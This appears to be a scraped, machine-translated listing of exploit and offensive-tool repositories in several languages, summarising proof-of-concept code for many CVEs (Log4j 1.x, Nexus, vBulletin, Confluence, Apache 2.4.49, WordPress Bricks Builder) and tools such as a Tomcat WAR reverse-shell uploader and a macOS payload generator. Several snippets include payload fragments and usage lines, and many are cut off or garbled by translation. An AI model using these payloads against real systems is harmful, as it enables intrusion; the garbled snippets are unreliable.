log4shell_1.x

Log4jShell1.x Log4j RCE 1.x Poc هجوم القيود 1. الهدف يحتوي على بيئة jms 2. تحتاج إلى الحصول على صلاحية لتعديل ملف log4j.properties الاستنتاج ليس مفيدًا مثل log4shell 2.x موضوع Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j مرحبًا بك في المساهمة في reapoc...

CVE-2020-10199

Nexus Repository Manager 3 भेद्यता प्रभावित संस्करण: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 दूरस्थ कोड कमांड निष्पादन इको poc गैर-इको poc $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' सामान्य उपयोगकर्ता अनुमति...

CVE-2020-17496

CVE-2020-17496 root@kitploit: POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo...

CVE-2017-11176

CVE-2017-11176 إثبات المفهوم لـ CVE-2017-11176 لتنفيذ التعليمات البرمجية. الثغرة لا تقوم دالة mqnotify في نواة لينكس حتى الإصدار 4.11.9 بتعيين المؤشر sock إلى NULL عند الدخول إلى منطق إعادة المحاولة. أثناء إغلاق مقبس Netlink في مساحة المستخدم، تسمح للمهاجمين بالتسبب في رفض الخدمة use-after-free أ...

CVE-2025-55449-AstrBot-RCE

Введение В AstrBot = 3.5.17 JWT secret жёстко закодирован в исходном коде, что позволяет загружать произвольные плагины и выполнять удалённый код RCE. Использование root@kitploit: python main.py 'http://127.0.0.1:6185' Исходный код https://github.com/AstrBotDevs/AstrBot.git...

Forblaze

Forblaze - A Python Mac Steganography Payload Generator/In-Memory Dylib/MachO Execution Author: AsaurusRex Disclaimer DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project i...

CVE-2022-26134

CVE-2022-26134 - ثغرة حقن OGNL: نص برمجي Proof of Concept يستغل ثغرة تنفيذ الأكواد عن بُعد RCE التي تؤثر على منتجات Atlassian Confluence 7.18 والإصدارات الأقدم. تسمح ثغرة حقن OGNL لمستخدم غير مُصادَق عليه بتنفيذ أكواد عشوائية على مثيل Confluence Server أو Data Center. الإصدارات المتأثرة: جميع...

HeaderLessPE

HeaderLessPE Introduction 中文 HeaderLessPE is a memory PE loading technique used by the Icedid Trojan. Based on this technology, we propose a new way of file-less attack using HVNC . This enhancement allows to inject HeaderLessPE into execute graphical hacking tools without limitations. Compared t...

warsend

WARSend Apache Tomcat Manager API WAR शेल अपलोड पूर्वापेक्षाएँ क्रेडेंशियल्स Tomcat Manager तक टेक्स्ट API पहुँच root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / //...

CVE-2023-27703

CVE-2023-27703 CVE-2023-27703 نسخة أندرويد من بيكباك الإصدار V1.29.2 ثغرة تسرب واجهة تصحيح العناصر تم الإصلاح في بيكباك 1.30.1 الوصف المقترح تم اكتشاف أن نسخة أندرويد من بيكباك v1.29.2 تحتوي على تسرب للمعلومات عبر واجهة التصحيح. معلومات إضافية رابط...

FOXCMS-CVE-2025-29306-POC

FOXCMS حقن معامل وتنفيذ الأوامر عن بعد – CVE-2025-29306 يحتوي هذا المستودع على إثبات مفهوم PoC بلغة بايثون لثغرة تنفيذ الأوامر عن بعد RCE تؤثر على إصدار FOXCMS v1.2، وهو نظام إدارة محتوى صيني مفتوح المصدر. معرف CVE: CVE-2025-29306 المتأثر: FOXCMS v1.2 النوع: حقن معامل الخدمة → تنفيذ كود ملخص الثغ...

Nostromo_Python3

Nostrom RCE Python3 शोषण कोड: उपयोग: root@kitploit: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 命令注入漏洞poc 中文 1.vim /.ssh/config or edit C:/Users/username/.ssh/config on windows system root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 تنفيذ الأوامر عن بُعد ⚠️ إخلاء مسؤولية هذا المستودع مخصص لأغراض تعليمية وبحثية فقط. يمكن استخدام المعلومات والكود المقدم هنا في بيئات خاضعة للتحكم ، مثل أجهزة المختبرات الخاصة. الاستخدام غير المصرح به لهذا الكود ضد أنظمة لا تملكها أو ليس لديك إذن صريح...

PrintNightmare

PrintNightmare Here is a project that will help to fight against Windows security breach PrintNightmare! CVE-2021-34527 You have to know that a patch has been released by Microsoft against this breach but is not fully functional and fight only RCE Remote code execution while LPE Local privilege...

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 शोषण उपकरण 🚀 विवरण 📝 यह उपकरण 🛠️ WordPress के लिए Bricks Builder प्लगइन में पाई गई CVE-2024-25600 भेद्यता 🕳️ का शोषण करने के लिए डिज़ाइन किया गया है। यह भेद्यता प्रभावित वेबसाइटों 💻 पर अप्रमाणित दूरस्थ कोड निष्पादन की अनुमति देती है। यह उपकरण nonce प्राप्त करके और मनमाने आदेशों को...

CVE-2022-22954

CVE-2022-22954 VMware Workspace ONE Access ثغرة تنفيذ التعليمات البرمجية عن بُعد Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 نظرة عامة على المخاطر هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها، ويُحظر الهجمات غير المصرح بها على المواقع. قراءة عبر الإنترنت قانون الأمن...

CVE-2023-35674

Description CVE-2023-35674 is a high-severity zero-day security vulnerability in the Android Framework. This vulnerability allows an attacker to escalate their privileges without requiring user interaction or additional execution permissions. The vulnerability occurs in how the Android Framework...

CVE-2017-8641_chakra_Js_GlobalObject

Description décrite plus en détail depuis le site CVE !!Oui Les navigateurs Microsoft dans Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8.1 et Windows RT 8.1, Windows Server 2012 et R2, Windows 10 Gold, 1511, 1607, 1703 et Windows Server 2016 permettent à un attaquant d'exécuter d...

CVE-2024-39306

الوصف هذا النص البرمجي هو إثبات مفهوم PoC لـ CVE-2024-39306، حيث يمكن تنفيذ الأوامر عن بُعد RCE بسبب ثغرة SQL Injection تمكن المستخدم المُصادق من تنفيذ أوامر تعسفية على خادم يعمل بـ ChurchCRM الإصدار 5.8.0 أو أقل. الاستخدام python3 CVE-2024-39306.py -u -p -b -c مثال: python3 CVE-2024-39306.py -u...